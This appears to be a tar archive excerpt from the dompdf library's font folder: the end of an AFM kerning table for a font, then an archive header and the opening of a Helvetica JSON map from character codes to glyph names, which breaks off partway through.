KPX parenright R -73
KPX parenright U -149
KPX parenright X -112
KPX parenright backslash -188
KPX parenright cent -188
KPX parenright sterling -188
KPX parenright currency -188
KPX parenright yen -188
KPX parenright brokenbar -188
KPX parenright section -188
KPX parenright ordfeminine -112
KPX parenright guillemotleft -112
KPX parenright logicalnot -112
KPX parenright sfthyphen -112
KPX parenright acute -73
KPX parenright mu -73
KPX parenright paragraph -73
KPX parenright periodcentered -73
KPX parenright cedilla -73
KPX parenright guillemotright -112
KPX parenright onequarter -112
KPX parenright onehalf -112
KPX parenright threequarters -112
KPX parenright questiondown -188
KPX parenright Aacute -188
KPX parenright Acircumflex -188
KPX parenright Atilde -188
KPX parenright Adieresis -188
KPX parenright Aring -188
KPX parenright AE -188
KPX parenright Ccedilla -188
KPX parenright Otilde -112
KPX parenright multiply -112
KPX parenright Ugrave -112
KPX parenright Ucircumflex -112
KPX parenright Yacute -112
KPX parenright ntilde -149
KPX parenright otilde -149
KPX parenright dcaron -73
KPX parenright dmacron -73
KPX parenright emacron -73
KPX parenright edotaccent -149
KPX parenright eogonek -149
KPX parenright ecaron -149
KPX parenright Gcircumflex -36
KPX parenright Gbreve -36
KPX parenright Gdotaccent -36
KPX parenright Gcommaaccent -36
KPX parenright Hcircumflex -36
KPX parenright Hbar -36
KPX parenright Itilde -36
KPX parenright imacron -112
KPX parenright ibreve -112
KPX parenright iogonek -112
KPX parenright dotlessi -112
KPX parenright ij -112
KPX parenright jcircumflex -112
KPX parenright Lacute -188
KPX parenright uni01AD -73
KPX parenright Uhorn -73
KPX parenright uni01DA -36
KPX parenright uni01DC -36
KPX parenright uni01F1 -73
KPX parenright uni01F5 -188

KPX asterisk seven -73
KPX asterisk less -102
KPX asterisk m -36
KPX asterisk braceright -36
KPX asterisk Hbar -73
KPX asterisk lacute -102


KPX hyphen dollar -36
KPX hyphen m -36
KPX hyphen braceright -36

KPX period dollar -36
KPX period ampersand -112
KPX period two -112
KPX period seven -159
KPX period eight -55
KPX period colon -73
KPX period less -73
KPX period D -36
KPX period H -102
KPX period R -102
KPX period X -102
KPX period backslash -149
KPX period m -131
KPX period cent -36
KPX period sterling -36
KPX period currency -36
KPX period yen -36
KPX period brokenbar -36
KPX period section -36
KPX period ordfeminine -102
KPX period guillemotleft -102
KPX period logicalnot -102
KPX period sfthyphen -102
KPX period acute -102
KPX period mu -102
KPX period paragraph -102
KPX period periodcentered -102
KPX period cedilla -102
KPX period guillemotright -102
KPX period onequarter -102
KPX period onehalf -102
KPX period threequarters -102
KPX period questiondown -149
KPX period Aacute -149
KPX period Egrave -112
KPX period Icircumflex -112
KPX period Yacute -102
KPX period Hbar -159
KPX period Idot -55
KPX period dotlessi -102
KPX period lacute -73

KPX slash dollar 47
KPX slash two -73
KPX slash seven -282
KPX slash eight -102
KPX slash nine -225
KPX slash colon -188
KPX slash less -272
KPX slash H -36
KPX slash R -36
KPX slash X -36
KPX slash backslash -188
KPX slash ordfeminine -36
KPX slash guillemotleft -36
KPX slash logicalnot -36
KPX slash sfthyphen -36
KPX slash acute -36
KPX slash mu -36
KPX slash paragraph -36
KPX slash periodcentered -36
KPX slash cedilla -36
KPX slash guillemotright -36
KPX slash onequarter -36
KPX slash onehalf -36
KPX slash threequarters -36
KPX slash questiondown -188
KPX slash Aacute -188
KPX slash Yacute -36
KPX slash Hbar -282
KPX slash Idot -102
KPX slash dotlessi -36
KPX slash lacute -272

KPX two dollar -36
KPX two nine -36
KPX two semicolon -131
KPX two less -112
KPX two m -36
KPX two lacute -112

KPX three dollar -131
KPX three less -45
KPX three D -92
KPX three H -73
KPX three L -45
KPX three Q -36
KPX three R -73
KPX three U -36
KPX three V -36
KPX three X -36
KPX three m -36
KPX three cent -92
KPX three sterling -92
KPX three currency -92
KPX three yen -92
KPX three brokenbar -92
KPX three section -92
KPX three ordfeminine -73
KPX three guillemotleft -73
KPX three logicalnot -73
KPX three sfthyphen -73
KPX three threesuperior -36
KPX three acute -73
KPX three mu -73
KPX three paragraph -73
KPX three periodcentered -73
KPX three cedilla -73
KPX three guillemotright -36
KPX three onequarter -36
KPX three onehalf -36
KPX three threequarters -36
KPX three Yacute -73
KPX three Cdotaccent -36
KPX three edotaccent -36
KPX three ecaron -36
KPX three gdotaccent -36
KPX three gcommaaccent -36
KPX three dotlessi -36
KPX three lacute -45


KPX five dollar -83
KPX five ampersand -102
KPX five seven -149
KPX five nine -112
KPX five colon -83
KPX five less -131
KPX five D -45
KPX five H -92
KPX five R -92
KPX five X -92
KPX five backslash -112
KPX five m -112
KPX five braceright -36
KPX five cent -45
KPX five sterling -45
KPX five currency -45
KPX five yen -45
KPX five brokenbar -45
KPX five section -45
KPX five ordfeminine -92
KPX five guillemotleft -92
KPX five logicalnot -92
KPX five sfthyphen -92
KPX five acute -92
KPX five mu -92
KPX five paragraph -92
KPX five periodcentered -92
KPX five cedilla -92
KPX five guillemotright -92
KPX five onequarter -92
KPX five onehalf -92
KPX five threequarters -92
KPX five questiondown -112
KPX five Aacute -112
KPX five Egrave -102
KPX five Icircumflex -102
KPX five Yacute -92
KPX five Hbar -149
KPX five dotlessi -92
KPX five lacute -131

KPX six dollar 38

KPX seven dollar -159
KPX seven ampersand -120
KPX seven seven -36
KPX seven D -339
KPX seven F -348
KPX seven H -348
KPX seven L -63
KPX seven R -348
KPX seven U -301
KPX seven V -339
KPX seven X -311
KPX seven Z -339
KPX seven backslash -319
KPX seven m -188
KPX seven braceright -112
KPX seven cent -239
KPX seven sterling -339
KPX seven currency -239
KPX seven yen -239
KPX seven brokenbar -239
KPX seven section -239
KPX seven copyright -348
KPX seven ordfeminine -288
KPX seven guillemotleft -348
KPX seven logicalnot -288
KPX seven sfthyphen -288
KPX seven acute -268
KPX seven mu -348
KPX seven paragraph -268
KPX seven periodcentered -268
KPX seven cedilla -268
KPX seven guillemotright -281
KPX seven onequarter -311
KPX seven onehalf -281
KPX seven threequarters -281
KPX seven questiondown -319
KPX seven Aacute -319
KPX seven Egrave -120
KPX seven Eacute -348
KPX seven Icircumflex -120
KPX seven Idieresis -348
KPX seven Yacute -348
KPX seven edotaccent -301
KPX seven ecaron -301
KPX seven gdotaccent -339
KPX seven gcommaaccent -339
KPX seven Hbar -36
KPX seven dotlessi -311

KPX eight equal -36
KPX eight Ldot -36

KPX nine dollar -131
KPX nine two -36
KPX nine D -159
KPX nine H -159
KPX nine L -45
KPX nine R -159
KPX nine X -139
KPX nine backslash -55
KPX nine m -178
KPX nine braceright -112
KPX nine cent -159
KPX nine sterling -159
KPX nine currency -159
KPX nine yen -159
KPX nine brokenbar -159
KPX nine section -159
KPX nine ordfeminine -159
KPX nine guillemotleft -159
KPX nine logicalnot -159
KPX nine sfthyphen -159
KPX nine acute -159
KPX nine mu -159
KPX nine paragraph -159
KPX nine periodcentered -159
KPX nine cedilla -159
KPX nine guillemotright -139
KPX nine onequarter -139
KPX nine onehalf -139
KPX nine threequarters -139
KPX nine questiondown -55
KPX nine Aacute -55
KPX nine Yacute -159
KPX nine dotlessi -139

KPX colon dollar -112
KPX colon D -131
KPX colon H -120
KPX colon L -45
KPX colon R -120
KPX colon U -92
KPX colon X -73
KPX colon backslash -36
KPX colon m -112
KPX colon braceright -36
KPX colon cent -131
KPX colon sterling -131
KPX colon currency -131
KPX colon yen -131
KPX colon brokenbar -131
KPX colon section -131
KPX colon ordfeminine -120
KPX colon guillemotleft -120
KPX colon logicalnot -120
KPX colon sfthyphen -120
KPX colon acute -120
KPX colon mu -120
KPX colon paragraph -120
KPX colon periodcentered -120
KPX colon cedilla -120
KPX colon guillemotright -73
KPX colon onequarter -73
KPX colon onehalf -73
KPX colon threequarters -73
KPX colon questiondown -36
KPX colon Aacute -36
KPX colon Yacute -120
KPX colon edotaccent -92
KPX colon ecaron -92
KPX colon dotlessi -73

KPX semicolon ampersand -149
KPX semicolon two -131
KPX semicolon seven -36
KPX semicolon H -92
KPX semicolon m -112
KPX semicolon ordfeminine -92
KPX semicolon guillemotleft -92
KPX semicolon logicalnot -92
KPX semicolon sfthyphen -92
KPX semicolon Egrave -149
KPX semicolon Icircumflex -149
KPX semicolon Yacute -92
KPX semicolon Hbar -36

KPX less dollar -159
KPX less ampersand -112
KPX less two -112
KPX less D -282
KPX less H -272
KPX less L -73
KPX less R -272
KPX less X -235
KPX less m -225
KPX less braceright -149
KPX less cent -282
KPX less sterling -282
KPX less currency -282
KPX less yen -282
KPX less brokenbar -282
KPX less section -282
KPX less ordfeminine -272
KPX less guillemotleft -272
KPX less logicalnot -272
KPX less sfthyphen -272
KPX less acute -272
KPX less mu -272
KPX less paragraph -272
KPX less periodcentered -272
KPX less cedilla -272
KPX less guillemotright -235
KPX less onequarter -235
KPX less onehalf -235
KPX less threequarters -235
KPX less Egrave -112
KPX less Icircumflex -112
KPX less Yacute -272
KPX less dotlessi -235


KPX H bracketleft -36

KPX I W -36
KPX I Z -36
KPX I backslash -36
KPX I m -73
KPX I braceright -36
KPX I questiondown -36
KPX I Aacute -36
KPX I hbar -36

KPX N D -36
KPX N H -73
KPX N R -73
KPX N X -63
KPX N backslash -73
KPX N cent -36
KPX N sterling -36
KPX N currency -36
KPX N yen -36
KPX N brokenbar -36
KPX N section -36
KPX N ordfeminine -73
KPX N guillemotleft -73
KPX N logicalnot -73
KPX N sfthyphen -73
KPX N acute -73
KPX N mu -73
KPX N paragraph -73
KPX N periodcentered -73
KPX N cedilla -73
KPX N guillemotright -63
KPX N onequarter -63
KPX N onehalf -63
KPX N threequarters -63
KPX N questiondown -73
KPX N Aacute -73
KPX N Yacute -73
KPX N dotlessi -63


KPX R bracketleft -63

KPX U F -45
KPX U G -36
KPX U H -45
KPX U J -36
KPX U K -36
KPX U P -36
KPX U Q -36
KPX U R -45
KPX U T -36
KPX U U -36
KPX U bracketleft -55
KPX U m -73
KPX U copyright -45
KPX U ordfeminine -45
KPX U guillemotleft -45
KPX U logicalnot -45
KPX U sfthyphen -45
KPX U threesuperior -36
KPX U acute -45
KPX U mu -45
KPX U paragraph -45
KPX U periodcentered -45
KPX U cedilla -45
KPX U Eacute -45
KPX U Idieresis -45
KPX U Ntilde 72
KPX U Yacute -45
KPX U aacute -36
KPX U Cdotaccent -36
KPX U edotaccent -36
KPX U ecaron -36

KPX Y m -36
KPX Y braceright -36

KPX Z m -36
KPX Z braceright -36

KPX bracketleft F -36
KPX bracketleft H -63
KPX bracketleft R -63
KPX bracketleft copyright -36
KPX bracketleft ordfeminine -63
KPX bracketleft guillemotleft -63
KPX bracketleft logicalnot -63
KPX bracketleft sfthyphen -63
KPX bracketleft acute -63
KPX bracketleft mu -63
KPX bracketleft paragraph -63
KPX bracketleft periodcentered -63
KPX bracketleft cedilla -63
KPX bracketleft Eacute -36
KPX bracketleft Idieresis -36
KPX bracketleft Yacute -63

KPX backslash m -36
KPX backslash braceright -36

KPX m percent -36
KPX m ampersand -36
KPX m quotesingle -36
KPX m asterisk -36
KPX m hyphen -36
KPX m seven -112
KPX m nine -112
KPX m colon -36
KPX m less -149
KPX m Y -36
KPX m Z -36
KPX m backslash -36
KPX m questiondown -36
KPX m Aacute -36
KPX m Egrave -36
KPX m Icircumflex -36
KPX m Eth -36
KPX m agrave -36
KPX m Hbar -112
KPX m lacute -149

KPX braceright dollar -73
KPX braceright percent -73
KPX braceright ampersand -36
KPX braceright quotesingle -36
KPX braceright hyphen -36
KPX braceright two -36
KPX braceright seven -188
KPX braceright nine -178
KPX braceright colon -112
KPX braceright semicolon -112
KPX braceright less -225
KPX braceright Y -36
KPX braceright Z -36
KPX braceright backslash -36
KPX braceright questiondown -36
KPX braceright Aacute -36
KPX braceright Egrave -36
KPX braceright Icircumflex -36
KPX braceright Eth -36
KPX braceright Hbar -188
KPX braceright lacute -225



KPX ordfeminine bracketleft -36

KPX guillemotleft bracketleft -36

KPX logicalnot bracketleft -36

KPX sfthyphen bracketleft -36



KPX acute bracketleft -63

KPX mu bracketleft -63

KPX paragraph bracketleft -63

KPX periodcentered bracketleft -63

KPX cedilla bracketleft -63

KPX questiondown m -36
KPX questiondown braceright -36

KPX Aacute m -36
KPX Aacute braceright -36

KPX Acircumflex dollar 57
KPX Acircumflex ampersand -36
KPX Acircumflex asterisk -36
KPX Acircumflex two -36
KPX Acircumflex four -36
KPX Acircumflex seven -159
KPX Acircumflex nine -131
KPX Acircumflex colon -112
KPX Acircumflex less -159
KPX Acircumflex F -36
KPX Acircumflex G -36
KPX Acircumflex H -36
KPX Acircumflex I -73
KPX Acircumflex R -36
KPX Acircumflex T -36
KPX Acircumflex W -36
KPX Acircumflex Y -120
KPX Acircumflex Z -83
KPX Acircumflex backslash -139
KPX Acircumflex m -73
KPX Acircumflex copyright -36
KPX Acircumflex ordfeminine -36
KPX Acircumflex guillemotleft -36
KPX Acircumflex logicalnot -36
KPX Acircumflex sfthyphen -36
KPX Acircumflex acute -36
KPX Acircumflex mu -36
KPX Acircumflex paragraph -36
KPX Acircumflex periodcentered -36
KPX Acircumflex cedilla -36
KPX Acircumflex questiondown -139
KPX Acircumflex Aacute -139
KPX Acircumflex Acircumflex 57
KPX Acircumflex Adieresis 57
KPX Acircumflex AE 57
KPX Acircumflex Egrave -36
KPX Acircumflex Ecircumflex -36
KPX Acircumflex Igrave -36
KPX Acircumflex Iacute -36
KPX Acircumflex Icircumflex -36
KPX Acircumflex Ntilde -36
KPX Acircumflex Oacute -36
KPX Acircumflex Otilde -36
KPX Acircumflex multiply -36
KPX Acircumflex Ugrave -36
KPX Acircumflex Ucircumflex -36
KPX Acircumflex Yacute -36
KPX Acircumflex Thorn -36
KPX Acircumflex acircumflex -36
KPX Acircumflex Dcaron -36
KPX Acircumflex dcaron -36
KPX Acircumflex Dcroat -36
KPX Acircumflex dmacron -36
KPX Acircumflex Emacron -36
KPX Acircumflex emacron -36
KPX Acircumflex Hcircumflex -159
KPX Acircumflex hcircumflex -36
KPX Acircumflex Hbar -159
KPX Acircumflex hbar -36
KPX Acircumflex Kcommaaccent -112
KPX Acircumflex kcommaaccent -83
KPX Acircumflex kgreenlandic -159
KPX Acircumflex Lacute -139
KPX Acircumflex lacute -159
KPX Acircumflex uni01F0 -36
KPX Acircumflex uni01F1 -36

KPX Adieresis dollar 57
KPX Adieresis ampersand -36
KPX Adieresis asterisk -36
KPX Adieresis two -36
KPX Adieresis four -36
KPX Adieresis seven -159
KPX Adieresis nine -131
KPX Adieresis colon -112
KPX Adieresis less -159
KPX Adieresis F -36
KPX Adieresis G -36
KPX Adieresis H -36
KPX Adieresis I -73
KPX Adieresis R -36
KPX Adieresis T -36
KPX Adieresis W -36
KPX Adieresis Y -120
KPX Adieresis Z -83
KPX Adieresis backslash -139
KPX Adieresis m -73
KPX Adieresis copyright -36
KPX Adieresis ordfeminine -36
KPX Adieresis guillemotleft -36
KPX Adieresis logicalnot -36
KPX Adieresis sfthyphen -36
KPX Adieresis acute -36
KPX Adieresis mu -36
KPX Adieresis paragraph -36
KPX Adieresis periodcentered -36
KPX Adieresis cedilla -36
KPX Adieresis questiondown -139
KPX Adieresis Aacute -139
KPX Adieresis Acircumflex 57
KPX Adieresis Adieresis 57
KPX Adieresis AE 57
KPX Adieresis Egrave -36
KPX Adieresis Ecircumflex -36
KPX Adieresis Igrave -36
KPX Adieresis Iacute -36
KPX Adieresis Icircumflex -36
KPX Adieresis Ntilde -36
KPX Adieresis Oacute -36
KPX Adieresis Otilde -36
KPX Adieresis multiply -36
KPX Adieresis Ugrave -36
KPX Adieresis Ucircumflex -36
KPX Adieresis Yacute -36
KPX Adieresis Thorn -36
KPX Adieresis acircumflex -36
KPX Adieresis Dcaron -36
KPX Adieresis dcaron -36
KPX Adieresis Dcroat -36
KPX Adieresis dmacron -36
KPX Adieresis Emacron -36
KPX Adieresis emacron -36
KPX Adieresis Hcircumflex -159
KPX Adieresis hcircumflex -36
KPX Adieresis Hbar -159
KPX Adieresis hbar -36
KPX Adieresis Kcommaaccent -112
KPX Adieresis kcommaaccent -83
KPX Adieresis kgreenlandic -159
KPX Adieresis Lacute -139
KPX Adieresis lacute -159
KPX Adieresis uni01F0 -36
KPX Adieresis uni01F1 -36

KPX AE dollar 57
KPX AE ampersand -36
KPX AE asterisk -36
KPX AE two -36
KPX AE four -36
KPX AE seven -159
KPX AE nine -131
KPX AE colon -112
KPX AE less -159
KPX AE F -36
KPX AE G -36
KPX AE H -36
KPX AE I -73
KPX AE R -36
KPX AE T -36
KPX AE W -36
KPX AE Y -120
KPX AE Z -83
KPX AE m -73
KPX AE copyright -36
KPX AE ordfeminine -36
KPX AE guillemotleft -36
KPX AE logicalnot -36
KPX AE sfthyphen -36
KPX AE acute -36
KPX AE mu -36
KPX AE paragraph -36
KPX AE periodcentered -36
KPX AE cedilla -36
KPX AE Acircumflex 57
KPX AE Adieresis 57
KPX AE AE 57
KPX AE Egrave -36
KPX AE Ecircumflex -36
KPX AE Igrave -36
KPX AE Iacute -36
KPX AE Icircumflex -36
KPX AE Ntilde -36
KPX AE Oacute -36
KPX AE Otilde -36
KPX AE multiply -36
KPX AE Ugrave -36
KPX AE Ucircumflex -36
KPX AE Yacute -36
KPX AE Thorn -36
KPX AE acircumflex -36
KPX AE Dcaron -36
KPX AE dcaron -36
KPX AE Dcroat -36
KPX AE dmacron -36
KPX AE emacron -36
KPX AE Hcircumflex -159
KPX AE hcircumflex -36
KPX AE Hbar -159
KPX AE hbar -36
KPX AE Kcommaaccent -112
KPX AE kcommaaccent -83
KPX AE kgreenlandic -159
KPX AE lacute -159
KPX AE uni01F0 -36
KPX AE uni01F1 -36

KPX Egrave less -36
KPX Egrave m -36
KPX Egrave braceright -36
KPX Egrave lacute -36

KPX Icircumflex less -36
KPX Icircumflex m -36
KPX Icircumflex braceright -36
KPX Icircumflex lacute -36

KPX Eth dollar -36
KPX Eth nine -36
KPX Eth less -112
KPX Eth m -36
KPX Eth braceright -36
KPX Eth Acircumflex -36
KPX Eth Adieresis -36
KPX Eth AE -36
KPX Eth kgreenlandic -112
KPX Eth lacute -112
KPX Eth uni01F4 -112

KPX Ograve dollar -36
KPX Ograve nine -36
KPX Ograve less -112
KPX Ograve m -36
KPX Ograve braceright -36
KPX Ograve lacute -112

KPX Yacute bracketleft -36

KPX agrave seven -73
KPX agrave less -102
KPX agrave m -36
KPX agrave braceright -36
KPX agrave Hbar -73
KPX agrave lacute -102

KPX ucircumflex dollar 47
KPX ucircumflex two -73
KPX ucircumflex seven -282
KPX ucircumflex eight -102
KPX ucircumflex nine -225
KPX ucircumflex colon -188
KPX ucircumflex less -272
KPX ucircumflex H -36
KPX ucircumflex R -36
KPX ucircumflex X -36
KPX ucircumflex backslash -188
KPX ucircumflex ordfeminine -36
KPX ucircumflex guillemotleft -36
KPX ucircumflex logicalnot -36
KPX ucircumflex sfthyphen -36
KPX ucircumflex acute -36
KPX ucircumflex mu -36
KPX ucircumflex paragraph -36
KPX ucircumflex periodcentered -36
KPX ucircumflex cedilla -36
KPX ucircumflex guillemotright -36
KPX ucircumflex onequarter -36
KPX ucircumflex onehalf -36
KPX ucircumflex threequarters -36
KPX ucircumflex questiondown -188
KPX ucircumflex Aacute -188
KPX ucircumflex Yacute -36
KPX ucircumflex Hbar -282
KPX ucircumflex Idot -102
KPX ucircumflex dotlessi -36
KPX ucircumflex lacute -272

KPX ydieresis dollar 47
KPX ydieresis two -73
KPX ydieresis seven -282
KPX ydieresis eight -102
KPX ydieresis nine -225
KPX ydieresis colon -188
KPX ydieresis less -272
KPX ydieresis H -36
KPX ydieresis R -36
KPX ydieresis X -36
KPX ydieresis backslash -188
KPX ydieresis ordfeminine -36
KPX ydieresis guillemotleft -36
KPX ydieresis logicalnot -36
KPX ydieresis sfthyphen -36
KPX ydieresis acute -36
KPX ydieresis mu -36
KPX ydieresis paragraph -36
KPX ydieresis periodcentered -36
KPX ydieresis cedilla -36
KPX ydieresis guillemotright -36
KPX ydieresis onequarter -36
KPX ydieresis onehalf -36
KPX ydieresis threequarters -36
KPX ydieresis questiondown -188
KPX ydieresis Aacute -188
KPX ydieresis Yacute -36
KPX ydieresis Hbar -282
KPX ydieresis Idot -102
KPX ydieresis dotlessi -36
KPX ydieresis lacute -272

KPX Abreve O -193


KPX Edotaccent dollar -83
KPX Edotaccent ampersand -102
KPX Edotaccent seven -149
KPX Edotaccent nine -112
KPX Edotaccent colon -83
KPX Edotaccent less -131
KPX Edotaccent D -45
KPX Edotaccent H -92
KPX Edotaccent R -92
KPX Edotaccent X -92
KPX Edotaccent backslash -112
KPX Edotaccent m -112
KPX Edotaccent braceright -36
KPX Edotaccent cent -45
KPX Edotaccent sterling -45
KPX Edotaccent currency -45
KPX Edotaccent yen -45
KPX Edotaccent brokenbar -45
KPX Edotaccent section -45
KPX Edotaccent ordfeminine -92
KPX Edotaccent guillemotleft -92
KPX Edotaccent logicalnot -92
KPX Edotaccent sfthyphen -92
KPX Edotaccent acute -92
KPX Edotaccent mu -92
KPX Edotaccent paragraph -92
KPX Edotaccent periodcentered -92
KPX Edotaccent cedilla -92
KPX Edotaccent guillemotright -92
KPX Edotaccent onequarter -92
KPX Edotaccent onehalf -92
KPX Edotaccent threequarters -92
KPX Edotaccent questiondown -112
KPX Edotaccent Aacute -112
KPX Edotaccent Egrave -102
KPX Edotaccent Icircumflex -102
KPX Edotaccent Yacute -92
KPX Edotaccent Hbar -149
KPX Edotaccent dotlessi -92
KPX Edotaccent lacute -131

KPX edotaccent F -45
KPX edotaccent G -36
KPX edotaccent H -45
KPX edotaccent J -36
KPX edotaccent K -36
KPX edotaccent P -36
KPX edotaccent Q -36
KPX edotaccent R -45
KPX edotaccent T -36
KPX edotaccent U -36
KPX edotaccent bracketleft -55
KPX edotaccent m -73
KPX edotaccent copyright -45
KPX edotaccent ordfeminine -45
KPX edotaccent guillemotleft -45
KPX edotaccent logicalnot -45
KPX edotaccent sfthyphen -45
KPX edotaccent threesuperior -36
KPX edotaccent acute -45
KPX edotaccent mu -45
KPX edotaccent paragraph -45
KPX edotaccent periodcentered -45
KPX edotaccent cedilla -45
KPX edotaccent Eacute -45
KPX edotaccent Idieresis -45
KPX edotaccent Ntilde 72
KPX edotaccent Yacute -45
KPX edotaccent aacute -36
KPX edotaccent Cdotaccent -36
KPX edotaccent edotaccent -36
KPX edotaccent ecaron -36

KPX Ecaron dollar -83
KPX Ecaron ampersand -102
KPX Ecaron seven -149
KPX Ecaron nine -112
KPX Ecaron colon -83
KPX Ecaron less -131
KPX Ecaron D -45
KPX Ecaron H -92
KPX Ecaron R -92
KPX Ecaron X -92
KPX Ecaron backslash -112
KPX Ecaron m -112
KPX Ecaron braceright -36
KPX Ecaron cent -45
KPX Ecaron sterling -45
KPX Ecaron currency -45
KPX Ecaron yen -45
KPX Ecaron brokenbar -45
KPX Ecaron section -45
KPX Ecaron ordfeminine -92
KPX Ecaron guillemotleft -92
KPX Ecaron logicalnot -92
KPX Ecaron sfthyphen -92
KPX Ecaron acute -92
KPX Ecaron mu -92
KPX Ecaron paragraph -92
KPX Ecaron periodcentered -92
KPX Ecaron cedilla -92
KPX Ecaron guillemotright -92
KPX Ecaron onequarter -92
KPX Ecaron onehalf -92
KPX Ecaron threequarters -92
KPX Ecaron questiondown -112
KPX Ecaron Aacute -112
KPX Ecaron Egrave -102
KPX Ecaron Icircumflex -102
KPX Ecaron Yacute -92
KPX Ecaron Hbar -149
KPX Ecaron dotlessi -92
KPX Ecaron lacute -131

KPX ecaron F -45
KPX ecaron G -36
KPX ecaron H -45
KPX ecaron J -36
KPX ecaron K -36
KPX ecaron P -36
KPX ecaron Q -36
KPX ecaron R -45
KPX ecaron T -36
KPX ecaron U -36
KPX ecaron bracketleft -55
KPX ecaron m -73
KPX ecaron copyright -45
KPX ecaron ordfeminine -45
KPX ecaron guillemotleft -45
KPX ecaron logicalnot -45
KPX ecaron sfthyphen -45
KPX ecaron threesuperior -36
KPX ecaron acute -45
KPX ecaron mu -45
KPX ecaron paragraph -45
KPX ecaron periodcentered -45
KPX ecaron cedilla -45
KPX ecaron Eacute -45
KPX ecaron Idieresis -45
KPX ecaron Ntilde -36
KPX ecaron Yacute -45
KPX ecaron aacute -36
KPX ecaron Cdotaccent -36
KPX ecaron edotaccent -36
KPX ecaron ecaron -36

KPX Gdotaccent dollar 38

KPX Gcommaaccent dollar 38

KPX Hbar dollar -159
KPX Hbar ampersand -120
KPX Hbar seven -36
KPX Hbar D -339
KPX Hbar F -348
KPX Hbar H -348
KPX Hbar L -63
KPX Hbar R -348
KPX Hbar U -301
KPX Hbar V -339
KPX Hbar X -311
KPX Hbar Z -339
KPX Hbar backslash -319
KPX Hbar m -188
KPX Hbar braceright -112
KPX Hbar cent -339
KPX Hbar sterling -339
KPX Hbar currency -339
KPX Hbar yen -339
KPX Hbar brokenbar -339
KPX Hbar section -339
KPX Hbar copyright -348
KPX Hbar ordfeminine -348
KPX Hbar guillemotleft -348
KPX Hbar logicalnot -348
KPX Hbar sfthyphen -348
KPX Hbar acute -348
KPX Hbar mu -348
KPX Hbar paragraph -348
KPX Hbar periodcentered -348
KPX Hbar cedilla -348
KPX Hbar guillemotright -311
KPX Hbar onequarter -311
KPX Hbar onehalf -311
KPX Hbar threequarters -311
KPX Hbar questiondown -319
KPX Hbar Aacute -319
KPX Hbar Egrave -120
KPX Hbar Eacute -348
KPX Hbar Icircumflex -120
KPX Hbar Idieresis -348
KPX Hbar Yacute -348
KPX Hbar edotaccent -301
KPX Hbar ecaron -301
KPX Hbar gdotaccent -339
KPX Hbar gcommaaccent -339
KPX Hbar Hbar -36
KPX Hbar dotlessi -311

KPX Idot equal -36
KPX Idot Ldot -36

KPX lacute dollar -159
KPX lacute ampersand -112
KPX lacute two -112
KPX lacute D -282
KPX lacute H -272
KPX lacute L -73
KPX lacute R -272
KPX lacute X -235
KPX lacute m -225
KPX lacute braceright -149
KPX lacute cent -282
KPX lacute sterling -282
KPX lacute currency -282
KPX lacute yen -282
KPX lacute brokenbar -282
KPX lacute section -282
KPX lacute ordfeminine -272
KPX lacute guillemotleft -272
KPX lacute logicalnot -272
KPX lacute sfthyphen -272
KPX lacute acute -272
KPX lacute mu -272
KPX lacute paragraph -272
KPX lacute periodcentered -272
KPX lacute cedilla -272
KPX lacute guillemotright -235
KPX lacute onequarter -235
KPX lacute onehalf -235
KPX lacute threequarters -235
KPX lacute Egrave -112
KPX lacute Icircumflex -112
KPX lacute Yacute -272
KPX lacute dotlessi -235

EndKernPairs
EndKernData
EndFontMetrics
vendor/dompdf/dompdf/lib/fonts/Helvetica.afm.json000066600000031100151150443000016013 0ustar00{
    "codeToName": {
        "32": "space",
        "160": "space",
        "33": "exclam",
        "34": "quotedbl",
        "35": "numbersign",
        "36": "dollar",
        "37": "percent",
        "38": "ampersand",
        "146": "quoteright",
        "40": "parenleft",
        "41": "parenright",
        "42": "asterisk",
        "43": "plus",
        "44": "comma",
        "45": "hyphen",
        "173": "hyphen",
        "46": "period",
        "47": "slash",
        "48": "zero",
        "49": "one",
        "50": "two",
        "51": "three",
        "52": "four",
        "53": "five",
        "54": "six",
        "55": "seven",
        "56": "eight",
        "57": "nine",
        "58": "colon",
        "59": "semicolon",
        "60": "less",
        "61": "equal",
        "62": "greater",
        "63": "question",
        "64": "at",
        "65": "A",
        "66": "B",
        "67": "C",
        "68": "D",
        "69": "E",
        "70": "F",
        "71": "G",
        "72": "H",
        "73": "I",
        "74": "J",
        "75": "K",
        "76": "L",
        "77": "M",
        "78": "N",
        "79": "O",
        "80": "P",
        "81": "Q",
        "82": "R",
        "83": "S",
        "84": "T",
        "85": "U",
        "86": "V",
        "87": "W",
        "88": "X",
        "89": "Y",
        "90": "Z",
        "91": "bracketleft",
        "92": "backslash",
        "93": "bracketright",
        "94": "asciicircum",
        "95": "underscore",
        "145": "quoteleft",
        "97": "a",
        "98": "b",
        "99": "c",
        "100": "d",
        "101": "e",
        "102": "f",
        "103": "g",
        "104": "h",
        "105": "i",
        "106": "j",
        "107": "k",
        "108": "l",
        "109": "m",
        "110": "n",
        "111": "o",
        "112": "p",
        "113": "q",
        "114": "r",
        "115": "s",
        "116": "t",
        "117": "u",
        "118": "v",
        "119": "w",
        "120": "x",
        "121": "y",
        "122": "z",
        "123": "braceleft",
        "124": "bar",
        "125": "braceright",
        "126": "asciitilde",
        "161": "exclamdown",
        "162": "cent",
        "163": "sterling",
        "165": "yen",
        "131": "florin",
        "167": "section",
        "164": "currency",
        "39": "quotesingle",
        "147": "quotedblleft",
        "171": "guillemotleft",
        "139": "guilsinglleft",
        "155": "guilsinglright",
        "150": "endash",
        "134": "dagger",
        "135": "daggerdbl",
        "183": "periodcentered",
        "182": "paragraph",
        "149": "bullet",
        "130": "quotesinglbase",
        "132": "quotedblbase",
        "148": "quotedblright",
        "187": "guillemotright",
        "133": "ellipsis",
        "137": "perthousand",
        "191": "questiondown",
        "96": "grave",
        "180": "acute",
        "136": "circumflex",
        "152": "tilde",
        "175": "macron",
        "168": "dieresis",
        "184": "cedilla",
        "151": "emdash",
        "198": "AE",
        "170": "ordfeminine",
        "216": "Oslash",
        "140": "OE",
        "186": "ordmasculine",
        "230": "ae",
        "248": "oslash",
        "156": "oe",
        "223": "germandbls",
        "207": "Idieresis",
        "233": "eacute",
        "159": "Ydieresis",
        "247": "divide",
        "221": "Yacute",
        "194": "Acircumflex",
        "225": "aacute",
        "219": "Ucircumflex",
        "253": "yacute",
        "234": "ecircumflex",
        "220": "Udieresis",
        "218": "Uacute",
        "203": "Edieresis",
        "169": "copyright",
        "229": "aring",
        "224": "agrave",
        "227": "atilde",
        "154": "scaron",
        "237": "iacute",
        "251": "ucircumflex",
        "226": "acircumflex",
        "231": "ccedilla",
        "222": "Thorn",
        "179": "threesuperior",
        "210": "Ograve",
